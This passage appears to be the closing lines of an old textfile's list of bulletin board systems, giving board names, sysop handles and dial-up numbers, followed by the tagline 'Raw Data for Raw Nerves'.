  918.  Burn This Flag                           Zardoz               408/363-9766
  919.  realitycheck                             Poindexter Fortran   510/527-1662
  920.  Lies Unlimited                           Mick Freen           801/278-2699
  921.  The New Dork Sublime                     Biffnix              415/864-DORK
  922.  The Shrine                               Rif Raf              206/794-6674
  923.  Planet Mirth                             Simon Jester         510/786-6560
  924.  
  925.                           "Raw Data for Raw Nerves"
  926. X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X
  927.